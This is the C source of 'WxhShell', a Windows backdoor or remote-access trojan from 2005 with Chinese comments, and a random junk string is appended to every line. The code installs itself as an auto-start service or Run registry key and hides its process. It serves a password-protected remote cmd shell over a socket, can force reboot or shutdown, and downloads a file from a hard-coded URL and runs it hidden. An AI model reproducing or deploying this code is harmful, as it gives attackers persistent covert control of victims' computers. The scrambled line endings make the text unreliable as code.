    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iTHwH{!  
    if(Boot(SHUTDOWN)) x)C}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *X .1b!  
    else { [Vs\r&qL  
    closesocket(wsh); iaL@- dg  
    ExitThread(0); ~ YH?wdT  
    } E`TZ:W]r,  
    break; AA5G` LiT  
    } Um+_ S@h  
  // 获取shell DZ|*hQU>K  
  case 's': { _r-LX"  
    CmdShell(wsh);  w*`:v$  
    closesocket(wsh); z_>~=Mm  
    ExitThread(0); pX%:XpC!h  
    break; n%3!)/$  
  } | In{5E k  
  // 退出 l\Ozy  
  case 'x': { "L2*RX.R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jZ.yt+9  
    CloseIt(wsh); _^FC 9  
    break; &ZD@-"@  
    } 4o#]hB';ni  
  // 离开 B_d\eD  
  case 'q': { t/[lA=0 )2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZO/e!yju  
    closesocket(wsh); r(r(&NU  
    WSACleanup(); O1v)*&NAI  
    exit(1); ExG(*[l  
    break; b^HDN(v  
        } \=0;EI-j  
  } ]1++$Ej  
  } d7^ `  
|5vcT, A  
  // 提示信息 <ww D*t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c+l1 l0BA  
} z)T-<zWO;  
  } P3Ql[ 2  
cH&)Iz`f  
  return; -H%v6E%yh  
} a{ST4d'T  
Rs=Fcvl  
// shell模块句柄 _&l8^MD  
int CmdShell(SOCKET sock) 2 `AdNt,  
{ +,spC`M6h  
STARTUPINFO si; N1'"7eg/  
ZeroMemory(&si,sizeof(si)); ^ =C>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O::FB.k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jz f~n~  
PROCESS_INFORMATION ProcessInfo; Vq3NjN!+5  
char cmdline[]="cmd"; <.)=CK  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c';~bYZ  
  return 0; Fu.aV876\f  
} &6\&McmkX  
yu6~:$%H  
// 自身启动模式 ]\yB,  
int StartFromService(void) THwM',6  
{ CzV;{[?~;  
typedef struct cx:_5GF  
{ [h-6;.e  
  DWORD ExitStatus; XKGiw 2 C  
  DWORD PebBaseAddress; {v*4mT  
  DWORD AffinityMask; [<=RsD_q~  
  DWORD BasePriority; :=Zd)i)3  
  ULONG UniqueProcessId; . Z&5TK4I  
  ULONG InheritedFromUniqueProcessId; o'lG9ePM|  
}   PROCESS_BASIC_INFORMATION; `p\%ha!,w  
/D"T\KNWr  
PROCNTQSIP NtQueryInformationProcess; im*sSz 0 (  
~ n<|f  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _-fLD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hp)>Nzdx  
}#1.$a  
  HANDLE             hProcess;  Z`*V9  
  PROCESS_BASIC_INFORMATION pbi; $+PioSq  
XtO..{qU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ftY&Q#[  
  if(NULL == hInst ) return 0; #)S}z+I  
mH,s!6j?Vp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4>(K~v5;N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Mg\588cI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #m|el@)  
9,fV  
  if (!NtQueryInformationProcess) return 0; Mzg'$]N  
MNs<yQ9I'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ai;!Q%B#Q  
  if(!hProcess) return 0; l]|&j`'O  
bpsyO>lx/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G5qsnTxUJ  
Lx- %y'P  
  CloseHandle(hProcess); 8nI~iN?"   
[g}^{ $`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N,w6  
if(hProcess==NULL) return 0; q<\r}1Dm  
+_:p8, 5o  
HMODULE hMod; |!K&h(J|  
char procName[255]; ScJ:F-@>  
unsigned long cbNeeded; xd3mAf  
cPIyD?c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L^e*_q2d:>  
2>"{El|PbN  
  CloseHandle(hProcess); HV!P]82Pa  
Jha*BaD~N  
if(strstr(procName,"services")) return 1; // 以服务启动 U+VJiz<!  
q"Bd-?9  
  return 0; // 注册表启动 08:K9zr  
} "a(R>PV%  
cMi9 Z]  
// 主模块 `T[yyOL/  
int StartWxhshell(LPSTR lpCmdLine) [vtDtwL  
{ 5M\0t\uEn  
  SOCKET wsl; Mxz X@GBX  
BOOL val=TRUE; ,~;`@  
  int port=0; 5%S5*c6BD  
  struct sockaddr_in door; NZ`6iK-V_  
{;bec%pq0  
  if(wscfg.ws_autoins) Install(); QPVr:+\B{  
8;=?F>]xn  
port=atoi(lpCmdLine); W=2.0QmW  
IF>v -Z  
if(port<=0) port=wscfg.ws_port; ? Zv5iI  
L\Oxyi<{  
  WSADATA data; akw:3+`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \yymp70w  
%|@?)[;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R(Vd[EGY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _6FDuCVD-  
  door.sin_family = AF_INET; yq3"VFh3d  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?_pd#W=!  
  door.sin_port = htons(port); ,S(_YS^m  
w}}+8mk[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IAd ^$9  
closesocket(wsl); .*k!Zl*  
return 1; ;2 o{ 6  
} Qvny$sr2  
hW,GsJ,  
  if(listen(wsl,2) == INVALID_SOCKET) { \^F6)COy  
closesocket(wsl); 0jp y c  
return 1; ;F_&h#D]3  
} ^R\5'9K!  
  Wxhshell(wsl); e /XOmv  
  WSACleanup(); Kc9)Lzu+  
,[m4+6G5  
return 0; 9LQy 0Gx  
X pXhg*}K  
} j@JY-^~K5  
-eSI"To L<  
// 以NT服务方式启动 ]H:K$nmX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i\36 s$\  
{ [u3^R]  
DWORD   status = 0; UIQ=b;J9  
  DWORD   specificError = 0xfffffff; LY0/\Z"N  
Fo"' [`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0A ~f ^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Rx<[bohio  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $AFiPH9  
  serviceStatus.dwWin32ExitCode     = 0; /-pop]L  
  serviceStatus.dwServiceSpecificExitCode = 0; RmN\;G?}  
  serviceStatus.dwCheckPoint       = 0; "2"*3R<Y  
  serviceStatus.dwWaitHint       = 0; )fZ5.W8UE]  
JvUHoc$sI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `0ju=FP'u5  
  if (hServiceStatusHandle==0) return; BJ/#V)  
9.goO|~B~  
status = GetLastError(); OQX ek@~2  
  if (status!=NO_ERROR) ;+qPV7Z  
{ Pb D|7IM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qj|B #dU  
    serviceStatus.dwCheckPoint       = 0; E{9{%J  
    serviceStatus.dwWaitHint       = 0; YpZ 9h@,  
    serviceStatus.dwWin32ExitCode     = status; QQjMC'  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6 ud<B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); EVmE{XlD;  
    return; `V ++})5v  
  } q14A 'XW  
_jb"@TY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; J2#=`|t"  
  serviceStatus.dwCheckPoint       = 0; 13{"sY:PT#  
  serviceStatus.dwWaitHint       = 0; {&(bKQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ll&5#q  
} +ACV,GG  
;v+CQx  
// 处理NT服务事件,比如:启动、停止 e;}5~dSi  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >Q\H1|?  
{ ELNA-ZKp  
switch(fdwControl)  WU,72g=  
{ Zr 2QeLQC(  
case SERVICE_CONTROL_STOP: FkE CY  
  serviceStatus.dwWin32ExitCode = 0; B 9]sSx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !r!Mq~X<=  
  serviceStatus.dwCheckPoint   = 0; {K0T%.G  
  serviceStatus.dwWaitHint     = 0; uJp}9B60_  
  { ZCJ8I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7erao-  
  } .}y Lz  
  return; #WpO9[b>  
case SERVICE_CONTROL_PAUSE: A8eli=W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t@19a6:Co  
  break; nt[0krG  
case SERVICE_CONTROL_CONTINUE: " Gn; Q-@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yZ)ScB^  
  break; s*#|EdD6@  
case SERVICE_CONTROL_INTERROGATE: #XY]@V\  
  break; cwC, VYVl  
}; J2[QHr&tn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qP<,"9!I  
} \M532_w  
UZX)1?U  
// 标准应用程序主函数 >qUO_>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8"* $e I5  
{ >%3c1  
|~CnELF)  
// 获取操作系统版本 ng<`2XgU  
OsIsNt=GetOsVer(); tw3d>H`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'IW+"o  
kWz%v  
  // 从命令行安装 =<_5gR  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1k%ko?  
Yh%wf3 UEO  
  // 下载执行文件 Tk2kis(n  
if(wscfg.ws_downexe) { g4$%)0x%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Zz&i0 r  
  WinExec(wscfg.ws_filenam,SW_HIDE); &s;%(c04A  
} pn7 :")Zx  
A>g$[  
if(!OsIsNt) { 9FLn7Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 gX _BJ6  
HideProc(); J+|ohA  
StartWxhshell(lpCmdLine); qL+y8*  
} I !<v$  
else A7RX2  
  if(StartFromService()) #f~a\}$I  
  // 以服务方式启动 9G8QzIac  
  StartServiceCtrlDispatcher(DispatchTable); EH "g`r  
else M>J ADt_]  
  // 普通方式启动 o%QQ7S3 P  
  StartWxhshell(lpCmdLine); HgBg,1  
-pGt ;  
return 0; *(MvNN*  
} *_wef/==  
Q%xY/xH]  
?(<AT]hV:  
pOYtN1uN|  
=========================================== udZ: OU<  
hw'2q9J|  
E$>e< T  
{G0)mp,  
mfN@tMp  
rWs5s!l,  
" KJ)&(Yx  
FVmg&[ .  
#include <stdio.h> C|J1x4sb@  
#include <string.h> _dBU6U:V  
#include <windows.h> h*9o_  
#include <winsock2.h> ,;-*q}U  
#include <winsvc.h> |)-:w?  
#include <urlmon.h> UQcmHZ+lf  
V6{xX0'b*m  
#pragma comment (lib, "Ws2_32.lib") =|%T E   
#pragma comment (lib, "urlmon.lib") W7o/  
{|E7N"Qzg  
#define MAX_USER   100 // 最大客户端连接数 feW9 >f;  
#define BUF_SOCK   200 // sock buffer E\S&} K,s  
#define KEY_BUFF   255 // 输入 buffer `j![  
*a%PA(%6  
#define REBOOT     0   // 重启 ,s76]$%4  
#define SHUTDOWN   1   // 关机 pzr-}>xrZ  
!~l%6Z5  
#define DEF_PORT   5000 // 监听端口 zNf5OItx  
UIj/Id  
#define REG_LEN     16   // 注册表键长度 dZgfls  
#define SVC_LEN     80   // NT服务名长度 NLGr=*dq  
^e,RM_.  
// 从dll定义API i?/?{p$#a-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); urB3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [alXD_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0cUt"(]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~m?~eJK#a  
K-u/q6ufK  
// wxhshell配置信息 pb Ie)nK  
struct WSCFG { ;#i$0~lRl  
  int ws_port;         // 监听端口 Sh6Cw4 R  
  char ws_passstr[REG_LEN]; // 口令 *~uuCLv_  
  int ws_autoins;       // 安装标记, 1=yes 0=no { bn#:75r  
  char ws_regname[REG_LEN]; // 注册表键名 !?*!"S-Sl  
  char ws_svcname[REG_LEN]; // 服务名 Y%l3SB,5L  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~Wm}M  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5,ahKB8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l7!)#^`2_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6{X>9hD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |u;PU`^-z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %Ab_PAw  
se HbwO3 b  
}; iGMONJRO  
gu[dw3L  
// default Wxhshell configuration "J{zfWr  
struct WSCFG wscfg={DEF_PORT, a4RFn\4?  
    "xuhuanlingzhe", b1]_e'jj  
    1, 3rg^R"&  
    "Wxhshell", ji -1yX  
    "Wxhshell", 9%14k  
            "WxhShell Service", ~{G: ,|`  
    "Wrsky Windows CmdShell Service", c.Z4f 7  
    "Please Input Your Password: ", S\;.nAR  
  1, -$t,}3  
  "http://www.wrsky.com/wxhshell.exe", am+mXb  
  "Wxhshell.exe" ha! "BR  
    }; 9 /(c cj  
W? ||9  
// 消息定义模块 S5KYZ W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _l=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; UiZp -Y%ki  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i(iP}: 3  
char *msg_ws_ext="\n\rExit."; ?(8%SPRk  
char *msg_ws_end="\n\rQuit."; y?#J`o- O  
char *msg_ws_boot="\n\rReboot..."; ; S ` -9}6  
char *msg_ws_poff="\n\rShutdown..."; jY+S,lD  
char *msg_ws_down="\n\rSave to "; h)^A3;2F  
zN)\2  
char *msg_ws_err="\n\rErr!"; :qTcxzV  
char *msg_ws_ok="\n\rOK!"; _j\=FJz[  
bXwoJ2  
char ExeFile[MAX_PATH]; ]NV ]@*`tO  
int nUser = 0; zf>^2t*\  
HANDLE handles[MAX_USER]; xevP2pYG:  
int OsIsNt; n(YHk\2  
lV6[d8P  
SERVICE_STATUS       serviceStatus; 0uO=wOIhH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; WAXts]=  
Wd56B+  
// 函数声明 1 3 `0d  
int Install(void); yUmsE-W  
int Uninstall(void); ]~S+nl yd<  
int DownloadFile(char *sURL, SOCKET wsh); tlLn  
int Boot(int flag); )z235}P  
void HideProc(void); *3`oU\r  
int GetOsVer(void); DE\bYxJ  
int Wxhshell(SOCKET wsl); uE#,c\[8  
void TalkWithClient(void *cs); t`YZ)>Ws  
int CmdShell(SOCKET sock); JOx ,19r  
int StartFromService(void); t{8v(}  
int StartWxhshell(LPSTR lpCmdLine); 56SS >b  
f H|QAMfOu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =Z .V+4+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i(yAmo9h  
L\wpS1L(  
// 数据结构和表定义 5YI/Ec  
SERVICE_TABLE_ENTRY DispatchTable[] = F0'A/T'ht  
{ :@%-f:iDj  
{wscfg.ws_svcname, NTServiceMain}, L@n6N|[_  
{NULL, NULL} @U3foL2\  
}; k;_KKvQ  
,o@~OTja*  
// 自我安装 27E9NO=  
int Install(void) ,' r L'Ys  
{ ?t0zsq  
  char svExeFile[MAX_PATH]; ;s\;78`0  
  HKEY key; -N7L #a  
  strcpy(svExeFile,ExeFile); 3R%UPT0>  
"G9'm  
// 如果是win9x系统,修改注册表设为自启动  ;[KriW  
if(!OsIsNt) { `o8{qU,*]N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =6Sj}/   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wd` QpW  
  RegCloseKey(key); C nSX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Xvj=*wg\Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q bZ,K@0  
  RegCloseKey(key); u@Cf*VPK  
  return 0; ]a6O(]  
    } Ly)(_Tp@+  
  } A` o?+2s_  
} ;j>Vt?:Pw  
else { v=.z|QD^1  
&H4uvJ_<  
// 如果是NT以上系统,安装为系统服务 ?)mhJ/IT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p37zz4  
if (schSCManager!=0) ,]uX:h-EM  
{ )0U3w#,JQ  
  SC_HANDLE schService = CreateService !<=%;+  
  ( EN-H4F  
  schSCManager, v=*Bb3dt  
  wscfg.ws_svcname, 5&<d2EG6l'  
  wscfg.ws_svcdisp, _D>as\dP  
  SERVICE_ALL_ACCESS, 88#qu.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hk@`N;dn  
  SERVICE_AUTO_START, B]|6`UfB  
  SERVICE_ERROR_NORMAL, 8{G?92 {rN  
  svExeFile,  t$H':l0  
  NULL, pdi=6<?bd  
  NULL, lbB.*oQ  
  NULL, Rct"\{V')n  
  NULL, T1(j l)  
  NULL &8]#RQy{f  
  ); UEEBWzH  
  if (schService!=0) 7bonOt Y  
  { ke}Y 2sB  
  CloseServiceHandle(schService); ,yk PQzO  
  CloseServiceHandle(schSCManager); WO.0K5nfk  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uS,p|}Q&  
  strcat(svExeFile,wscfg.ws_svcname); rmPne8D=c(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lk[G;=K:.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B0)`wsb_  
  RegCloseKey(key); ~IlF*Zz#}6  
  return 0; oI_oz0nHk  
    } -v;n"Zy1  
  } F<yy>Wf  
  CloseServiceHandle(schSCManager); s-C!uq  
} cXk6e.Uz  
} ha|@ X p  
.Na&I)udX.  
return 1; S9HBr  
} -}Cc"qm  
}z%OnP  
// 自我卸载 selP=Q!  
int Uninstall(void) rb:<N%*t  
{ b|sc'eP#?  
  HKEY key; @PPR$4  
a{]g+tGH  
if(!OsIsNt) { l_c^ .D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "WYA  
  RegDeleteValue(key,wscfg.ws_regname); `E} p77  
  RegCloseKey(key); <$jKy3@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ; .ysCF  
  RegDeleteValue(key,wscfg.ws_regname); Pgn_9Y?<  
  RegCloseKey(key); x?,~TC4  
  return 0; RDs,sj/Y9?  
  } Y&vHOA  
} jDlA<1  
} T[0V%Br{d+  
else { kqVg2#<@M  
8^/+wa+G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cT-K@dg  
if (schSCManager!=0) 3yTQ  
{ @72x`&|I?u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {q&@nm40  
  if (schService!=0) @J-plJ4e  
  { ug^om{e-  
  if(DeleteService(schService)!=0) { ;W7hc!  
  CloseServiceHandle(schService); mi7sBA9L8  
  CloseServiceHandle(schSCManager); >vlQ|/C  
  return 0; / <JY:1|  
  } 5oz>1  
  CloseServiceHandle(schService); ow2M,KU6Z  
  } 6xQ"bFm  
  CloseServiceHandle(schSCManager); sA/,+aM  
} <9ma(PFa  
} )K{o<m~WAo  
9v~1We;{$  
return 1; Bj@x$v#/^  
} <fNGhmL  
DVObrL)znL  
// 从指定url下载文件 zzX<?6MS  
int DownloadFile(char *sURL, SOCKET wsh) ZV!R#Xv  
{ 6#<Ir @z  
  HRESULT hr; It%T7 X#  
char seps[]= "/"; Ns'FH(:  
char *token; 8NnhT E  
char *file; xM&EL>m>L  
char myURL[MAX_PATH]; 1'NhjL  
char myFILE[MAX_PATH]; o g_Ri$x8  
z{%oJ_  
strcpy(myURL,sURL); y k?SD1hj  
  token=strtok(myURL,seps); j7f5|^/x3  
  while(token!=NULL) Ll,I-BQ 9  
  { aT&t_^[]   
    file=token; GF&_~48GD  
  token=strtok(NULL,seps); XmP;L(wa   
  } avlqDi1l  
I$n+DwKcN  
GetCurrentDirectory(MAX_PATH,myFILE); xXOR IlD  
strcat(myFILE, "\\"); i wUv`>l&  
strcat(myFILE, file); PmHd9^C  
  send(wsh,myFILE,strlen(myFILE),0); ]de\i=?|  
send(wsh,"...",3,0); Ujf,6=M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WPIZi[hBs  
  if(hr==S_OK) &9RH}zv6  
return 0; A*hZv|$0  
else T-^0:@5o9  
return 1; +a-D#^ 2;  
8`}l\ Y  
} $Jcq7E~  
yKYl@&H/%  
// 系统电源模块 N8VVGPa  
int Boot(int flag) hje! w`  
{ /w0sj`;"  
  HANDLE hToken; a_Jb> }  
  TOKEN_PRIVILEGES tkp; *m*`}9  
Wu,S\!  
  if(OsIsNt) { CA/ -Gb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SgiDh dE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C#0brCQq3  
    tkp.PrivilegeCount = 1; EOhC6>ATh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [O\9 9>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "9w}dQ  
if(flag==REBOOT) { &I%IaNco  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) avg4K*vv  
  return 0; #*^e,FF<  
} \Dfm(R  
else { cM3jnim  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0*/kGvw`i  
  return 0; M_Bu,<q^  
} Y17hOKc`  
  } 8&%Cy'TIz4  
  else { JRXRi*@  
if(flag==REBOOT) { ZNi +Aw$u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) teAukE=}  
  return 0; SyAo, )j  
} E4=qh1d  
else { n&$/Q$d&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z?4=h Sy  
  return 0; 4Ac}(N5D@  
} )9B:Y;>)  
} FNC[59   
#ra*f~G  
return 1; +Juh:1H  
} 6|5H=*)DH  
`^x9(i/NE  
// win9x进程隐藏模块 )&:L'N  
void HideProc(void) Jld\8=  
{ BKay*!'PX  
h/HH Kn  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >k;p.Pay%  
  if ( hKernel != NULL ) \%TyrY+`K  
  { \^0!|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J1X~vQAe  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OM)3Y6rK  
    FreeLibrary(hKernel); P_&p=${  
  } nM8[  
*GJ:+U&m[  
return; e\D| o?v  
} U7h(-dV   
a~opE!|m  
// 获取操作系统版本 w^Ag]HZN  
int GetOsVer(void) &<Zdyf?[Ou  
{ 8eN7VT eb  
  OSVERSIONINFO winfo; \x(^]/@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f}iU& 3S  
  GetVersionEx(&winfo); dw9T f^V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hO3 {  
  return 1; Wo!;K|~P  
  else u h )o  
  return 0; CW p#^1F  
} 1'Rmg\(  
DkdL#sV  
// 客户端句柄模块 G>K@AW #  
int Wxhshell(SOCKET wsl) 0e16Ow6\!1  
{ 8vSIf+  
  SOCKET wsh; @PX\{6&  
  struct sockaddr_in client; 2"X~ju  
  DWORD myID; ~8{sA5y  
KP{3iUqvO  
  while(nUser<MAX_USER) y3JMbl[S0  
{ Ac`;st%l.  
  int nSize=sizeof(client); T<yb#ak  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KmmQ,e%  
  if(wsh==INVALID_SOCKET) return 1; 2khh4?|\  
e;h,V(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); RV;!05^<  
if(handles[nUser]==0) :$ %>4+l  
  closesocket(wsh); ykmv'a$-4  
else v@n_F  
  nUser++; E oe}l   
  } u R:rO^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ! %Ny0JkO  
?aWx(dVQ  
  return 0; :o8MUXH$  
} '!Wvqs  
9:8|)a(1  
// 关闭 socket EI1? GB)b  
void CloseIt(SOCKET wsh) o\!qcoE2W  
{ #]Y*0Wzpfn  
closesocket(wsh); y}"7e)|t%  
nUser--; /pykW_`/-  
ExitThread(0); y vI<4F  
} "@yyXS r  
X{Zm9T  
// 客户端请求句柄 J'Sm0  
void TalkWithClient(void *cs) :m ZYS4L~  
{ `]<`$71w  
Fe!9y2Mg  
  SOCKET wsh=(SOCKET)cs; ^B]@Lr E^  
  char pwd[SVC_LEN]; ;dZMa]X0  
  char cmd[KEY_BUFF]; JvL{| KtyU  
char chr[1]; 8@eOTzm  
int i,j; v"!4JZ%K  
*eb-rhCVn  
  while (nUser < MAX_USER) { >cgpajx*  
yWb4Ify  
if(wscfg.ws_passstr) { rQr!R$t/[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,Eu?JH&}u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U(,.D}PG  
  //ZeroMemory(pwd,KEY_BUFF); 3CZS)  
      i=0; uM S*(L_  
  while(i<SVC_LEN) { sn{tra  
L0"~[zB]N  
  // 设置超时 (CE7j<j  
  fd_set FdRead; MKg,!TELe  
  struct timeval TimeOut; t'(1I|7  
  FD_ZERO(&FdRead); 7x k|+!  
  FD_SET(wsh,&FdRead); /+[63=fl  
  TimeOut.tv_sec=8; 1@qgF  
  TimeOut.tv_usec=0; +B"0{>n}F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;rR/5d1!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %!|O.xxRR  
E^CiOTN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z]@6fM[  
  pwd=chr[0]; c$h9/H=~  
  if(chr[0]==0xd || chr[0]==0xa) { s\3q!A?S3  
  pwd=0; cUk*C  
  break; \?lz&<  
  } | C+o;  
  i++; VR0=SE  
    } 1cC1*c0Z  
QG3&p<  
  // 如果是非法用户,关闭 socket !mnUdR|>(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D1T@R)j  
} n}nEcXb  
uY#TEjGh]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;_+uSalt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m_7 nz!h  
dh -,E  
while(1) { d) ahF[82  
m%r/O&g  
  ZeroMemory(cmd,KEY_BUFF); #wR;|pN  
Zv!{{XO2;  
      // 自动支持客户端 telnet标准   ,r^"#C0J}  
  j=0; 57I}RMT"  
  while(j<KEY_BUFF) { 8P: spD0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F- rQ3  
  cmd[j]=chr[0]; Ak BMwV  
  if(chr[0]==0xa || chr[0]==0xd) { E"PcrWB&  
  cmd[j]=0; Xm!-~n@-m7  
  break; nJFg^s 1  
  } q|(W-h+  
  j++; (< c7<_-H  
    } = |U@  
TzG]WsY_  
  // 下载文件 @N.jB#nEb  
  if(strstr(cmd,"http://")) { >U!*y4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5M_Wj*a}7  
  if(DownloadFile(cmd,wsh)) l=m(mf?QBg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lB;FUck9  
  else &^.57]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z\!K<d"Xv  
  } U5r}6D!)  
